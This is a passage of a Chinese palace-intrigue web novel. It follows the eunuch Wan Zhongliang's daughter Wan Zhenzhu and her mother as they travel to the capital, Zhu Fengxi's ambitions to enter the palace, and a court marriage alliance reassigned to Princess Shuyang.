远在永州,朱凤曦跟母亲学着管家理事时,她也关注过魏皇后的背景。 魏皇后不止代表了宗室的一大部分力量,魏皇后更代表了以魏氏一族为首而结成的联盟。 魏皇后一旦倒台,那一场风波一定很大。那么,朱凤曦进宫了,当然就有机会谋得一份大大的利益。 能不能生皇子?这很重要。 可对于中宫皇后而言,自己不能生,还可以抱养皇子。又或者说在以孝治天下的封建时代。 只要坐稳中宫皇后的位置,一旦新君登基,还是会被尊为皇太后,继续享受天家富贵。 特别是在天子年幼时,皇太后可以利用礼法为尺,垂帘听政。 瞧见机会,多方谋划,很可能触摸到至高权柄。 在这等诱惑下,不甘心的朱凤曦当然动心了。 “或许我有错,可那又如何?”朱凤曦无声呢喃,她勾起一抹笑容,轻轻笑一回。 “成王败寇,我偏要去拼命一回。”朱凤曦得到了父亲的赞同。她还想得到母亲的祝福。 镐京都,承恩公府。 庆德长公主没有回公主府,或者说比起住了公主府。庆德长公主更喜欢住在承恩公府。 承恩公府里有庆德长公子的儿子儿媳,还有她的夫君魏国公。 魏国公下差后,一归来,他就被公主堵在自家的书房里。 魏国公还想闲时赏一赏画卷,这会儿瞧着公主的神色不愉,魏国公只能心头一叹,忍痛的把爱好舍一边。 “殿下去了一趟宫廷,您未见到皇后娘娘前还是满腹的高兴。瞧着归来后,您这不悦的神情,十成遇上困难了吧?”魏国公问道。 魏国公讲话时,他脸上的神情里带着关切的味道。 对于魏国公的关心,庆德长公主很受用。 “宫里出事儿。”庆德长公主不隐瞒,她讲了三皇子抱去泰和宫抚育一事。 “如今陛下抱养三皇子,本宫担忧,中宫不稳。”庆德长公主愁上心头。 “陛下的后宫不缺嫔妃,今朝诞下三皇子,明年还可能诞下四皇子、五皇子。”魏国公看得开,他还劝一番话。 听着驸马的发言,庆德长公主眉毛一挑。她生气了。 “你是皇后娘娘的亲老子,你站哪一边的?”庆德长公子都说粗口话。 “……”魏国公赶紧的收一收心思,不敢胡咧咧。 “我当然站皇后娘娘这一边的。”魏国公表明立场。 “公主最懂我,我就一粗人。”魏国公不会文采风流,这国公爵位嘛,也是恩荫的。 承恩公府,这爵位又不是世袭罔替的。倒是承国公世子将来要承袭的侯爵之位,那才是祖宗挣来的世爵。 “我哪有什么花花心思,那些弯弯绕绕的,我闹不懂,也糊涂着。我全听公主您的安排。”魏国公一幅任摆弄的样子。 庆德长公主一听驸马这话,她捂嘴一笑,乐一回后,也是心情轻松一些。 “有宗室的支持,有承恩公府在,只要皇后娘娘稳得住,中宫的地位就不会被动摇。可是本宫担忧之处就在于皇后娘娘的耳根子太软了,唉。”庆德长公主心忧的很。 都说养儿一百岁,常忧九十九。 在庆德长公主的心里,知女莫若母,莫瞧着魏皇后风风光光,做事大开大合,不讲究什么策略了。 实则是魏皇后生在福窝窝里长大的,早被骄纵坏了。偏生耳子还软,软在暗处,让庆德长公主想法子扳正,也没能扳回来。 “驸马,你不知道,有一件事情本宫还瞒着皇后娘娘。可不敢告知啊。”庆德长公主在驸马面前吐露心声。 “要紧吗?”魏国公的神色严肃起来。 书房内屋,只余夫妻二人相处。侍候的丫鬟小厮早让庆德长公主打发掉。 此时此刻,瞧着驸马这般模样,庆德长公主点点头,回道:“挺要紧。” “这一回三皇子会被陛下亲自抱养,就是陛下跟前的万太监提得的建议。”庆德长公主讲道。 “万忠良。”魏国公念着这一个名字。 “这家奴的心肠坏了。”在庆德长公主的心里,再风光的太监也不过是天家的家奴。 这家奴一旦敢替主人拿主意,可不止是心肠坏了。还是逾越了天家的规矩。 庆德长公主当然暗恨,恨的牙痒痒。可惜,还不敢张扬出去,就怕打草惊蛇。 仔细想想,堂堂皇家长公主还要给一个太监家奴体面。落在庆德长公主的心底,这简直就是倒反天罡。 “万忠良不是一般人物,殿下仔细一些,谨慎一些,万没错处。”魏国公赞同这一件事情不要告诉了魏皇后这一个亲闺女。 “皇后娘娘性急如烈火,万一知道这一个消息后,不管不顾的任性妄为。这一旦跟万忠良起上冲突。我最怕的是惹来陛下的偏坦,若是让昭阳宫吃了闷亏。唉。”魏国公此时一幅忧心忡忡的样子,忍不住的又叹息一声。 仲夏结束,秋日宜人。 永州,朱府。 齐王世子一行人告辞离开了,万珍珠在这等好时节也跟亲娘牛二囡商量妥帖,母女二人准备前往镐京都开启新生活。 万珍珠向朱府辞行。尔后,朱府的态度自然是多方挽留。 朱府,客院。 万珍珠在待客,朱三 姑娘拜访。这不是头一遭。 在朱府小住,朱三姑娘只要寻着机会就来万珍珠这儿拜访。 开始的时候,万珍珠新鲜几回。等后来,万珍珠真不想见客。被人打扰了,也会让人神烦的。 奈何每一回朱三姑娘拜访,这一位朱府姑娘都不是空手来。 瞧在礼物的份上,万珍珠忍了。 “母亲病情未曾痊愈,永州地界缺了名医。倒是镐京都的太医院里多有良医广传美名。”朱凤曦给万珍珠亲自递了一盏茶。 她此刻笑意盈盈的继续讲话道:“于是父亲母亲有过商量。这不,这一回我将陪母亲一起前往镐京都求医。” “……”万珍珠听着这等消息时,她被惊住了。 万珍珠没记错的话,前世的朱府,入秋后就要迎娶新妇。 这一辈子也没有听说要改了朱大公子和朱二公子的成婚日期。 这,朱府迎娶二位新妇,高堂主母不在堂。 此消息让万珍珠听见,她只想说了,她大受震撼。 “前往镐京都路途遥远,杨夫人会不会太辛苦了?”万珍珠寻问道。 “能求得名医,再早日康复,这一点辛苦,母亲是点头同意的。”朱凤曦抿一下唇,尔后,又是平静的回道。 万珍珠瞧着朱三姑娘的态度,又思考片刻,才讲话道:“如此说来,倒是巧了。我们都要前往镐京都。” “是啊,挺巧的呢。”朱凤曦点头赞同。 在心底,万珍珠在琢磨了,朱三姑娘真的只是为了杨夫人求医问诊吗? 这一个答案一冒出来,万珍珠不怎么相信的。 千里的路途,辛苦的奔走,还要把一个受了重疾的人,就连说话都不利落的半残废护送去往镐京都。 没一点企图,打死万珍珠都不相信。 “若是同行,府上还要沾了郡主娘娘的光彩。”朱凤曦温柔一笑,又道:“我可知,镐京都差遣了许多人来护卫郡主娘娘入京。” “……”万珍珠沉默。 万珍珠一点也不想让朱府占便宜。特别是杨夫人,万珍珠一点好感也没有。 可是想到她没有跟朱府众人撕破脸,这就让万珍珠很难受。 在朱府小住,落世人眼中,万珍珠得了朱府不小的恩惠。总不能用人朝前,不用人朝后。 万珍珠总要顾惜一点名声。 在心里,万珍珠想着,她就是太要脸。这不嘛,让人赖上了。 “都是进京,若能同路相伴的话,未尝不是一点缘分。我没有不允的道理。”万珍珠昧着良心的讲话道。 “郡主娘娘能同意,真是太好了。”朱凤曦笑了,这一回的笑容更灿烂。 万珍珠待过客,还是被堵心一回。 至于总上门拜访,把姿态摆低的朱凤曦一样不开心。当然不开心归不开心,朱凤曦会在私下里把不开心的心情收拾好。 一旦面对着万珍珠这一位浑江郡主时,朱凤曦一定是笑脸相迎,笑得温温柔柔,一团和气。 秋日起程。 万珍珠在离开朱府后,她见到义兄宋三德。又得着新消息。 “朱府查到了我们的人手吗?”万珍珠轻轻蹙眉。 “义妹放心。”宋三德却是安慰万珍珠。 “朱府查到了一点子东西又怎么样?天家给钉的钉子,哪怕被查到了,也得装着瞧不见。”宋三德一幅自信的模样。 万珍珠心头却是有点慌。她觉得事情的走向未必如人意。 或者说对于世家豪门,地方大族,万珍珠却是警惕的很。 搁在镐京都里,皇权是至尊至贵。可山高水远的,节镇地方的豪帅,那胆量同样不小的。 只是有些话万珍珠不能明白的讲。若不然的话,她就是明目张胆的打了义兄宋三德的脸面。 在朱府之内,万珍珠能楔下去的钉子全靠着义兄帮衬。 万珍珠不想翻船,那么,多拢络义兄宋三德一些就很有必要。 特别是此一去镐京都,对于皇城根儿的情况,万珍珠两眼一抹黑。 不必深想,只要知道天子脚下不缺贵人。那镐京都里掉一块砖头,就很可能砸着一位贵人。 如此,万珍珠更想结交人脉,多些朋友多条路。 万珍珠是读过伟人的名言,人这一辈子嘛,要把朋友搞得多多的,一准儿就没错。 永州,朱府。 大厨房里,陈月明,不,应该是陈囡囡又忙碌完一天的差事。 大厨房的管事寻了陈囡囡,让她明天早一个时辰上差。 陈囡囡一直是老实人,管事吩咐,她应下了。 次日。 大厨房的管事寻到跟陈囡囡一起当差的小丫鬟,问了一二事情。 小丫鬟不敢吱吾,管事问什么,她就答什么。小丫鬟是府里的家生子,老子娘和兄弟姐妹全在府上当差。 等着下差后,小丫鬟问过府里亲人。在老子娘的嘴里,小丫鬟听到了陈囡囡这一个好姐妹出事儿的消息。 “听说落水了,人被发现时早就没气儿。” 小丫鬟听着老子娘的话,连声叹息。除了叹息,小丫鬟可不敢多讲闲话。 朱府,在朱三姑娘和杨夫人离开后,那潜流暗藏。在背地里总会有一些人莫名其妙的没了。 朱府的主人家也没有让下面的人严查,似乎就当一切都平平静静的。 在某一个角落里,那是一处朱府的暗牢,陈月明被人推进水里,再醒来时,她被关押在这一个地牢里。 昏昏暗暗的不见天日,被关押着,没人审问。 秋日,丰收的好时节。瞧着天高气爽,晴朗一片。 于此,万珍珠坐着马车行进在路途中。 这些日子,天亮出发,天暗停宿。一路行来,万珍珠见识颇多。 有乐于巴结了万珍珠这一位浑江郡主的,也有不乐于跟万珍珠这一位浑江郡主亲近的,恨不能离远远的。 总之是一样米养百样人。万珍珠给瞧了一个千奇百怪,各有不同。 镐京都,宫廷内。 在职房里,万忠良读到了新的书信。他知道妻女已经进京。 “行途慢,太慢了。”万忠良感慨一回。 对于万忠良而言,他是真想见一见家人。对于妻子牛二囡,万忠良的印象不深刻。 多年不见,妻子会是什么模样,女儿会是什么模样? 万忠良瞧过书信,他还是幻想了一二。 这些日子的万忠良意气丰发。人逢喜事精神爽啊。 “永州、栎州节度使朱瑞送重礼,哼。”万忠良收到了书信,那是妻女进京。 不止如此,远在永州的朱瑞还提前差人送了重礼入京。 这重重的贺礼可比着万珍珠一行人更快的到达镐京都。 恰好,当万忠良收到书信时,又收到朱瑞差人送上的大大好处。 对于朱府的观感,万忠良淡淡。莫看朱府收留了妻女。 可万忠良分的清楚。朱府哪是收留妻女?那是买下奴婢使唤罢了。 主人家的良心,万忠良从来不信这一套。 只是做人嘛,特别是到了万忠良这等宫廷内相的份上,那要脸面了。 万忠良才会差人去朱府,好话说了,暗示给了。 如今朱府赠重礼,万忠良也不会拒绝。万忠良从来是收礼不手软。毕竟他若不收礼,旁人只会以为得罪于他。 或者说万忠良谁的礼会不收下?当然是得罪天子的人,得罪他自己的人。 得罪天子的人,在万忠良心里早晚是一个死人。 得罪他自己的人,在万忠良心里还是一个等死的人。 早死晚死,反正一个死字。一旦人没了,家财被抄是早早晚晚的事。万忠良当然不会着急收礼物。 没得落下一个都收礼物了,还要收拾送礼人的坏名声。 朱府的礼单子,万忠良略扫一眼。倒是朱瑞这一位节度使的书信。 万忠良是仔细的看了一回。这一阅读,万忠良的眉头跳动了一下。 “好胃口。”万忠良赞一句。 在书信里,朱瑞求了一件事情。不是大事,也不是小事情。 不是杨夫人要求太医的事情。而是朱府有意,想请万内相给朱三姑娘一个机会的暗示。 什么机会?还要万内相操办。 不需要多想,万忠良这等内相嘛,不止要替天子暗中操办一些朝廷事宜,更要多多的关心了后宫事 宜。 后宫哪些事宜?万忠良不止上心了天子的子嗣问题。 一旦天子不乐于踏足后宫,万忠良这等心腹就得思考一下,是否应该替天子网罗更多的美人进宫。 毕竟一张脸再怎么貌美,神妃仙子也罢,瑶池仙姬也罢,一旦天子腻歪,做为天子的心腹,一定得赶紧的献上新美人。 “去,调了朱瑞的存档来,咱家要仔细看看。”万忠良跟干儿子吩咐一句。 “唯。” 这会儿的万忠良准备瞧一瞧朱瑞的底细。 以前略知一二,现在嘛,朱瑞都想献女给天子。 万忠良当然得仔细的翻一翻对方底细如何? 问万忠良什么心思,他当然没有坏心思。万忠良就是觉得宫廷内苑,百花争艳,也没有什么不好的。 一枝独秀,让陛下独宠一人。这等事情是万忠良极力避免的。毕竟宠妃的威力,万忠良可清楚着。 枕头风的滋味,万忠良不想尝一尝。 当然,如果是让敌人尝一尝,万忠良不介意。 可万忠良不傻,他从来不明面推人。只不过是给了机会,让下面的干儿子们举荐了一些美人入宫。 得宠不得宠的,全看美人们的本事。反正洪福帝的后宫是叫一个阳光灿烂,争奇斗艳。 月圆人团圆。这一年,中秋节,万珍珠和亲娘是在驿站里渡过的。 “太可惜了,离着镐京都已经不远了。”牛二囡满脸的不欢喜。 “如果在镐京都过中秋佳节,多好啊。”牛二囡的脸上全是失落感。 “娘,有我陪着您。我们都好好儿的,在哪过中秋节都一样。”万珍珠哄一哄亲娘。 “可你,还没见过你爹呢。”牛二囡有一点怅然。 “等到了镐京都,我就能见到爹爹。”万珍珠笑道。 对于亲爹?万珍珠只在穿书前,那是读几言片语。 这一辈子的亲爹啥样子,万珍珠不知道。 问万珍珠什么心情?就挺复杂的。毕竟如今的好日子全靠亲爹这一条金大腿。 可进了镐京都,亲爹会待她如何?待亲娘如何? 万珍珠心头没底。再是父女,再是血浓于水,没有经营起来的感情,总归会心生忐忑。 “娘,尝尝,这月饼不错。”万珍珠打散了心头的思绪。 “好,尝尝。”牛二囡不拒绝亲闺女的美意。 明月圆圆,万珍珠与亲娘品过月饼,赏过月光。 这一晚,母女二人没打算早早歇下。相反的,母女一起拜月,一起絮叨一些话语。 “珍珠,见着你爹时,你得多亲近。”牛二囡对亲闺女叮嘱话。 “你爹,他就你一个亲闺女。他不疼你,他还疼谁。”牛二囡像是在说服亲闺女,更可能是说服自己。 对于早年都当回忆,还是不想回忆的丈夫。牛二囡在生活里早就剔除了万忠良这一个丈夫。 可如今,她母女二人要靠着丈夫过日子。不是寄人篱下,而是心没依仗。牛二囡忍不住的就心惶惶。 对于牛二囡而言,或许亲闺女就是她唯一的一点信念。 “嗯嗯。”万珍珠点头。她貌似看出来了亲娘的不安。 万珍珠执起亲娘的手,她握紧了,笑道:“我全听娘的。” “娘就放心吧,我是爹爹的闺女,爹爹一定心疼我。”万珍珠用肯定的语气,坚定的回话道。 “对对。”牛二囡赞同一回亲闺女的话。 “娘,我和爹爹的感情一定会越来越好。您瞧,我一直有给爹爹写家书。这不,今个中秋月圆,我又想给爹爹写家书了。”万珍珠哄一哄亲娘。 也不算哄,万珍珠真的要写一写家书。中秋了,月圆了,又是想亲爹的一天。 不怕肉麻,就怕不够肉麻。总而言之,万珍珠就想攻略了亲爹的亲情底线。 对于万珍珠而言,跟亲爹感情更好,那是越好,她就越欢喜高兴。 万珍珠觉得亲娘一定跟她一个想法。这不,听说她要写家书,亲娘立马就同意。 “那你快快写,快快让人寄送去镐京都。”牛二囡还催一回。 瞧亲娘比她自己还着急的神情。万珍珠能怎么办? 万珍珠只能同意了。 万珍珠写信,牛二囡不识字,她也乐意瞧一瞧。 瞧着灯光下,女儿貌美的侧脸。牛二囡心情美滋滋。 在心头,牛二囡还畅想了去镐京都后。当家的,那能替女儿谋一门好姻缘。 在牛二囡的心里,她能想到的好日子。那可能就是让亲闺女嫁一位如意郎君。 至于更好的好日子?在牛二囡的心思里,她想像不到。 或许当初吧,杨夫人那等高高在上的主母,那等威严赫赫,就落在牛二囡的心底,那就是她对亲闺女的最大幻想。 如今嘛? 牛二囡觉得她的闺女在将来一定不会比杨夫人做主母时的威风差。 一路行来,那些巴结之人的吹捧很有效果。至少把牛二囡的心气给吹捧了起来。 镐京都是什么模样?万珍珠想像过。 等着真到镐京都的城门前,坐于马车里,掀起车窗帘子的一角。 万珍珠仰头看,又是张望了一回。她望不见镐京都的城墙左右究竟有多远,就像是落了视线的尽头,还没有尽头。 高高的城墙,高高的城门,高高的城楼。一切太高了。 “真雄伟。”万珍珠发出自己的感慨。 市井小民进城,按规矩排队。落万珍珠这一行人又不同。特权嘛,万珍珠又是享受一回。 人生的需求,不止是生存,还有精神上的满足。 在这会儿的万珍珠心想,也难怪了,若有机会,谁都会想往上爬。 可能许多人想像的美好,那就是头顶少了踩自己的脚。而自己能踩着别人为所欲为。 自由。这二字的宽泛与定义,那从来是因人而异。 毕竟自我之上,自由自在。自我之下,阶级分明。这才符合了人性有私,严于待人,宽于律己。 高高的城墙,不止是高大。走在城门洞子里,天色就像是一下子暗了。 等着出了城门洞子,等着来到宽敞又人流如织的大街时。 万珍珠一行人与朱府一行人相互辞别,各有归途。 在心底,万珍珠念叨一回,总算分开了。 从外城到内城。万珍珠隔着车窗帘子瞧一瞧热闹。 “人真多。”万珍珠的耳边响起了亲娘的话。 “很热闹。”万珍珠笑着回道。 “是啊,好不热闹。”牛二囡同意了亲闺女的话。 等着进了内城后,一切有变化。街道更宽更广。楼宇更高大,楼宇更漂亮。同时,来往行人的衣着打扮,也更见富贵气。 镐京都,宫廷内,万忠良陪伴天子于泰和宫里。 “罢,去瞧一瞧皇儿。” 洪福帝有吩咐,万忠良赶紧应了。对于洪福帝而言,他不是新手当爹,可头一回亲自养娃,洪福帝有一点当爹的兴致。 虽然不多,大多数时候也是奶嬷嬷哄着三皇子。便是万忠良这一位天子心腹去瞧了三皇子的次数,那都比天子多。 可到底嘛,三皇子养在泰和宫,那地位就抬高三分。 “皇儿醒了。”洪福帝刚到偏殿。他就瞧着睡醒的小皇子。 小皇子长得好看,让洪福帝这当爹的满意。 “真是一个乖孩子。”洪福帝逗一逗儿子。 被逗了,三皇子就笑一笑,这会儿他露出来粉粉的牙龈。 “来,让朕抱一抱。”洪福帝要亲自抱一抱儿子。 不是头一回抱孩子,洪福帝抱着小皇子。小皇子在皇帝怀里扭一扭小身子。 万忠良在旁边瞧着天子与皇子的亲近。他就瞧着,脸上还带了浅浅的笑容。就像这一幕瞧着让人多温馨,多感动似的。 在天子哄孩子时,万忠良瞧见干儿子的身影。 万忠良不声不响,默默的退出殿内。在殿外,万忠良听着干儿子禀了话。 “干爹,干娘和妹妹进京了,如今已经住进郡主府里。”干儿子小声的禀道。 “好,咱家知道了。”万忠良轻轻颔 首。 对于妻女进京了,还住进了他专门给女儿安排的郡主府。 万忠良心头踏实一回。人到了镐京都,都到地面上。万忠良觉得万无一失。 至于着急了见面? 人都到地头,万忠良不着急了。万忠良这时候更在意当好差。 在天子跟前,多涮涮脸,多捧捧话,这才是万忠良的头一等大事。 当然,捧着天子的同时,应该办的差遣嘛,万忠良也不会落下。 “去,你亲自替咱家跑一趟。把咱家给你干娘和妹妹准备的礼物,那是捧去郡主府。”万忠良吩咐话道。 对于妻女要进京一事,万忠良很重视。应该备的见面礼,那都不止备了双份。 万忠良备的礼物,这不,有已经送进郡主府的。还有新挑的,没来得及送进郡主府的。 “干爹放心,您吩咐的事,干儿子一定办妥当。”小太监赶紧应话道。 在殿外耽误了片刻后,万忠良又回到殿内。 “大伴,可是出什么事了?”洪福帝瞧着大伴去又归,他随口一问。 “禀陛下知晓,一点子小事,就是奴才的妻女进京了。她们胆小,偏又有一份心意想呈上来献给天家,这不,不敢拿主意,还让人递话给奴才,让奴才安排。”万忠良说着场面话。 至于妻女要献贺礼给天家,奉上什么?那当然是万忠良早安排好的。 在家书里,他也跟妻女叮嘱过一二。 第34章 大赵,燕京都,齐王府。 齐王归府,他没有跟往常一样见一见清客,听一听清客们的吹捧。 齐王差小厮传唤世子,他的嫡长子李明弘。 在前院书房内,李明弘见到父王。他恭敬见礼问安,道:“儿子给父王请安。” “免礼,坐。”齐王瞧着嫡长子,他哪哪都满意。 这一个嫡长子不止给他涨脸面,更是在父皇跟前得宠。 瞧着嫡长子,齐王是满意。只是想着今日要跟世子谈论的事情。齐王又免不得有一点尴尬。 “本王在宫里与你皇祖父商议了一件事情。”齐王不绕舌拐弯,在儿子恭敬的落坐后。 齐王点了一事。这话一讲,李明弘还是恭敬聆听的姿态。 “不知皇祖父有何吩咐?”李明弘态度从容,一派谦谦君子的作风。 齐王瞧着风度潇洒的嫡长子,他很满意。世子这态度沉稳,像他。 “咳……”齐王握拳,抵于唇边,轻咳一声后。齐王讲道:“你皇祖父给了示意,今朝与大晋和亲,便由淑阳尽一份力。” 听着父王之言,李明弘抬头,他的目光直视其父。 “父王,儿子没记错的话,当初议定下来的和亲人选是宫里的贞静公主,而不是淑阳妹妹。”李明弘挑破事实真相。 宫里的贞静公主是大晋天子膝下年岁最小的皇女。至于淑阳郡主,乃是李明弘一母同胞的妹妹。 李明弘,齐王的嫡长子。只是如今的齐王妃不是李明弘的生母。而是齐王的继妃。 齐王的元配嫡妻在生淑阳郡主时难产而亡。 对于嫡长女淑阳,齐王不怎么喜爱。而李明弘这一位嫡亲哥哥却是非常宠爱妹妹的。 “贞静是你亲姑姑。莫太生疏。” “再说,新决定是你皇祖父的意思,为父也同意了。”齐王在其父大赵天子跟前性情软趴趴。可落在儿子跟前,齐王就讲一个儒家的父为子纲。 望着声音宏亮的父王,瞧着父王坚决的态度。 李明弘沉默下来。贞静公主的背后有疼她宠她的皇祖父,还有贞静公主的生母德妃,德妃也是后宫之中的宠妃。 李明弘想到自己的妹妹淑阳,淑阳除了他这一个做兄长的,谁来心疼? “两朝和亲文书已订,临阵更改人选,恐伤朝廷颜面。”李明弘讲道。 “……”齐王沉默片刻。 虽然齐王也觉得临阵换人好像确实不地道。 可一想到父皇的话语,还有德妃的哀哀请求。 齐王的心肠又硬起来,舍一个女儿,得到德妃的助力。 齐王心头有一笔帐,他不会承认,其实他不喜克亲的嫡长女淑阳。如此,把淑阳打发走,打发的远远的,齐王心底还是莫明的安生了。 燕京都,和亲一事在朝堂内外的风声早停了。毕竟在世人眼中,这是板上钉钉的事情。 可在潜流暗处,还是波涛汹涌着。 大晋,镐京都,浑江郡主府。 初入府邸,万珍珠就喜爱这儿。毕竟她成为这一座大宅院的主人。 房契是她的,仆从们的生死由她拿捏着。一入府,观各处景致,全都合了万珍珠的眼缘。 “这院子真漂亮。”牛二囡在亲闺女跟前夸一回。只要一想着这宅子往后是自家的,牛二囡更开心三分。 “是啊,不止漂亮,更合心意。娘瞧,这宅子多大,便是四世同堂,五世同堂也住得。”万珍珠笑道。 一听万珍珠的话,牛二囡心里暖暖的。想着往后有孙孙,有曾孙,有玄孙。唉呀,越想越美,牛二囡都在想着这些孙孙辈们的名字得叫啥才好。 牛二囡在畅想的,想到美滋滋的时候,她莫名的笑起来。 “娘,我们先去住处安顿一番,洗漱一番。还得等着爹爹回府,再是一家人聚一聚。”万珍珠当仁不让的安排起来。 “好,全依你的安排,一准儿没错的。”牛二囡听着女儿的话,她连连赞同。 浑江郡主府很大,不止大,规制上瞧着都是顶格的。 万珍珠随着仆妇丫鬟领路,她先瞧一回自己住的寝院。 “甚美,甚好。”万珍珠没说的,就是甚大。 她一个人住的寝室就三进的宅子。这让万珍珠还能讲什么? 万珍珠只能说富贵荣华迷人眼,不瞧旁的,只瞧了这居住环境,让上辈子,上上辈子的万珍珠是奋斗几十年,可能连这寝院的一角落都摸不到。 贫与富,贱与贵,在现实面前差距太大。 万珍珠心生感慨,就感慨一下,尔后,便是撩开手,懒得再多想。 沐浴洗漱,熏干乌发。这等时间不算短。 等万珍珠换了新妆,再是见到亲娘时,那已经临近了用饭的时候。 府里下人寻问是否摆饭。万珍珠拒绝了。 “娘,我们等爹爹归来吧。”万珍珠提议道。 “你,可会饿了肚子。”牛二囡更担忧了亲闺女。 “要不,你先垫一垫吧。”牛二囡跟亲闺女讲道。 “这孝顺在心里,不在一时半会儿的。一路行来,娘瞧着路途中你用饭啊,也没往昔用得香。瞧瞧,你都瘦了。”牛二囡的心里,如今亲闺女排第一位。 想一想将来,牛二囡不盼着得丈夫的宠爱。毕竟她的丈夫就是半残之人。 牛二囡在夫妻感情上不想执着太多。牛二囡能想到的,那就是在亲闺女身上寻寄托。 毕竟亲闺女是亲的,等闺女生了孙孙辈,孙孙辈也流着她的血脉。 心有想法,牛二囡当然顾及了亲闺女的健康问题。 饿了,冷了等等,在牛二囡的眼中,有一种饿了,是亲娘觉得闺女饿了。有一种冷了,也是亲娘觉得冷了。 自然而然的,亲娘眼中,闺女瘦了,那也便是饿瘦的。 “娘是关心则乱了,我跟往常一样的。我好着呢。”万珍珠安慰一番亲娘。 镐京都,宫廷,职房。 万忠良结束一天的当差,或者说得了大晋天子的恩典。他今个不必值守在天子跟前,也能回内城的宅子跟妻女团聚一番。 可万忠良不急着回府。他先见一见干儿子宋三德。 “儿子给干爹请安。”宋三德一见着万忠良就跪下磕头,态度十足恭敬。 “起来吧。”万忠良摆摆手。 宋三德恭敬起身,一幅听训话的样子。万忠良的目光落干儿子的身上。他问道:“说说吧,说说咱家那好闺女在永州的旧事,还有从永州出发一路来了镐京都又发生哪些事情。一桩一件,咱家就想听一听你这当事人的看法。” 万忠良问了,宋三德没隐瞒。或者说他前往永州地界时,他就提前得了干爹的吩咐。 去见了干娘与义妹,他要办的事情 ,那得办好。 至于干娘和义妹的态度如何?他就守着本份。 若是干娘和义妹有吩咐,宋三德也给办了。办事归办事,回了镐京都应该在干爹跟前汇报的,那可不能省。 真当了哑巴,宋三德怕被干爹差人给办了,那时候就是一辈子不用张嘴巴。 什么人一辈子不张嘴,唯死人尔。 “咱家这闺女,心思也大着。”万忠良听完干儿子宋三德的讲述,他感慨一句。 “你办差,咱家瞧着还不错。”万忠良夸一回干儿子宋三德。尔后,万忠良开口赏了宋三德一个新职位。算是差人办事后,那赏的一颗甜枣。 宋三德赶紧谢干爹,那开心的态度溢于言表。 待宋三德告退后,万忠良收拾一下,也不在宫廷里停留。 万忠良出了皇宫,坐着马车回了浑江郡主府。 这浑江郡主府是万忠良差人买下来的。尔后,又借了天子的名义,再是赐赏一回。 多此一举,也不外乎是万忠良想给浑江郡主这一个名号贴贴金。 当爹的万忠良乐于贴贴金,可大晋天子那儿,赏个名义可以,真是掏了大大的腰包。那就不成的。 这不,万忠良办事儿,那从来急天子所急。肯定不让天子为难。 银子,万忠良出了,宅子,万忠良买了。最后的好名声是天子拿了。 浑江郡主府。 待万忠良这一位实际的主人一归来,整个府邸跟活过来一样。 至少那味儿落于万珍珠的眼中,那就大大的不同。 “女儿给爹爹请安。”万珍珠不识亲爹模样,可有人在郡主府里被大管事拥着进了主院。 不多想,万珍珠先识衣裳,后识人。这不,一见着亲爹,她忙福礼问安。 牛二囡还落了女儿半拍的跟丈夫问安。 万忠良见到妻女。他一瞧,对妻子牛二囡的印象就四字,普普通通。 至于亲闺女的印象嘛,万忠良瞧着是会撒娇的。 再一想着干儿子宋三德的回话。万忠良笑道:“好闺女,快起来。” “走,咱们一家人先进屋。”万忠良瞧着从屋里小步快跑,那是跑来院子里迎他的闺女,万忠良笑得快意。 至于妻子牛二囡,万忠良轻轻颔首,算是回应。 一家三口进屋里,万忠良一落坐。万珍珠这当女儿的就亲自动手给亲爹斟茶。 “爹爹尝尝,这是女儿亲手泡的茶汤。”万珍珠笑语晏晏。 “好好,我得尝尝。”万忠良不拒绝。 这会儿的万珍珠落坐在亲爹旁边的椅子上。 万珍珠笑道:“我一见爹爹就开心。在永州时,我就想着到了镐京都,我得让爹爹尝一尝女儿亲手做的茶汤点心。” “爹爹,女儿还打了一些络子给爹爹佩玉使唤。”万珍珠又拿着桌上的小匣子,她轻轻打开。 那里面是一条又一条的络子,上面还有各色的同心结、吉祥结等等。 “女儿的女红不太好。这络子就简单些,爹爹,您可不能嫌弃了。”万珍珠一见着亲爹,她就吧嗒吧嗒的讲一个不停。 会如此?万珍珠当然是故意的。 有一句怎么说的,会哭的孩子有奶吃。万珍珠往常跟亲爹不熟。 真碰面,她装哑巴,她怕坏了见面的好气氛。 倒不如吧嗒吧嗒讲一通,礼多人不怪,捧人的好话,万珍珠爱听。她琢磨着,亲爹应该也爱听吧。 “咱家闺女做的络子,咱瞧着都好。好好。”万忠良搁下浅浅品一口的茶盏。 万忠良瞧着亲闺女打开的小匣子,再是伸手拿过一条络子。 这络子上是吉祥结。万忠良仔细摸一摸,他笑道:“咱喜欢,闺女的心意,咱受用。” 回家了,有一盏为自己点的暖灯。回家了,有欢声与笑语。 问一问,家中的粥可温? 或许对于万忠良而言,这般的温馨才是他向往的家。 午夜梦回,儿时的家。 现在嘛,亲闺女的态度是温暖了万忠良心底的一抹温柔。 人心是肉长的,不是铁石心肠。对外人,万忠良可以不留情面。 可对着亲闺女,这流着自己血脉的骨肉时。万忠良的态度是先软和三分。 镐京都,内城,朱府。 朱凤曦今日送走问诊的太医。不止如此,她还拜访过又一位亲朋故旧。 一来镐京都,朱凤曦就很忙碌。她心头或许想拉拢了万太监的那一条线。 可落了父亲母亲的面前,朱氏一族也罢,杨氏一族也罢,在镐京都是有自己的人脉盟友。 这些人脉盟友是家族的助力。朱凤曦当然可以借力。 “累吗?”杨夫人瞧着归来的女儿,她关切问道。 “不累。”朱凤曦当着母亲的面,她昂起头,扬了笑脸。 杨夫人瞧见此,也不多语。只吩咐心腹先摆饭。 等着母女二人用过饭后,杨夫人留了女儿单独说话。 “凤曦……后悔……”杨夫人断断续续的说道:“来,来得及。” “莫迟了。”杨夫人伸手,她抚一抚女儿的手背。 朱凤曦沉默片刻。从永州到镐京都,路途太远了。朱凤曦觉得她早已经踏出了那一步,哪还有反悔的余地。 “……”可这会儿的朱凤曦却是沉默了。她也不知道是不是应该退一步? “来镐京都,是为娘求医就诊的。我的事,先不急。”朱凤曦本着能拖就拖的态度。 杨夫人瞧着女儿不想多讲话的意思。她叹息一声,也不再提了那些会让女儿不开心的话。 大赵,燕京都,齐王府。 赵济世又得差遣。他瞧着世子,世子的脸色很坏。 赵济世是齐王世子的心腹,他知道齐王府里发生的大事。淑阳郡主被陛下册封为淑阳公主,将要和亲大晋天子。 “济世,我是信你。淑阳有一些事情逾矩了。你替她去周全一二。”齐王世子差心腹办事。 或者说这事情会落了赵济世的头上。那是因为赵济世替齐王世子办了不少黑手套干的事情。 这不,用生不如用熟。 “唯。”赵济世恭敬应承下来。 不怕事情黑,更不怕事情难办。赵济世最怕的是在齐王世子这里不得用。 